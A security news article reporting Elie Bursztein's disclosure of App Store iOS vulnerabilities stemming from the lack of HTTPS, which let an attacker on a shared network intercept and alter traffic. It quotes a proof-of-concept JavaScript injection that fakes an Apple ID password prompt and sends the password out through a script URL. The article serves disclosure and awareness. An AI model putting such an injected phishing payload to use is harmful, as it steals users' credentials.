Once again the security of large scale application and platform is challenged, today is the turn of Apple, in particular of its famous Apple store that according the Researchers Elie Bursztein was vulnerable for more than half year.
The developer supported Apple to discovery and fix an important vulnerability that allowed to steal passwords and install application in the store.
Elie Bursztein exploited a flaw in the communication of Apple mobile with Apple Store, due a weakness in the authentication process the researcher demonstrated the possibility to hijack the connections with obvious consequences.
It seems that this vulnerability existed for a long time, even years, and only the adoption of HTTPS protocol made possible to resolve the problems.
Elie Bursztein reported on is bog:
“Early July 2012, I reported to Apple numerous vulnerabilities related to their App Store iOS app. Last week Apple finally issued a fix for it and turned on HTTPS for the App Store. I am really happy that my spare-time work pushed Apple to finally enabled HTTPS to protect users. This post discuss the vulnerabilities I found. As a bonus, I made several video demos of the attacks described in this post so you can see by yourself how dangerous not having full HTTPS is.”
Bursztein proposed various example of attacks that are practicable when attacker and victims share same network, for example when both are on public WiFi netwoks.
The attacker can access to the traffic directed towards the Apple Store and can manipulate it to conduct illegal activities such as steal victim’s password or to force victim to purchase an app. Following the complete list:
Elie Bursztein points out that his decision to public disclose the vulnerability and possible attacks to exploit it is to push developers to adopt HTTPS traffic to protect communication.
Following one of the videos posted by the research o possible attacks against the customer of the popular App Store, I suggest to watch them all carefully!
Proof of concept – Password stealing
The user opens the App Store, which will trigger the App Store app to fetch the list of update available from the server. The attacker intercepts the reply and injects a javascript prompt into it that ask for the user Apple Id password. From the user’s perspective it seems that opening the application triggered the prompt which is very deceiving. The password is then exfiltrated by including it into a script insertion url.
The prompt injection and password stealing is performed by injecting the following code into the update
<script> password = prompt(“Apple ID Password”,””); var s = document.createElement(‘script’); s.type = “text/javascript”; s.src = “fakepassword=” + password; var script = document.createTextNode(s); document.getElementsByTagName(‘head’)[0].appendChild(s); </script>
Note that the App Store uses a templating system so it is probably possible (albeit not tested) to add the App Store username by using the @@username@@ variable into the code.
Pierluigi Paganini
(Security Affairs – Apple)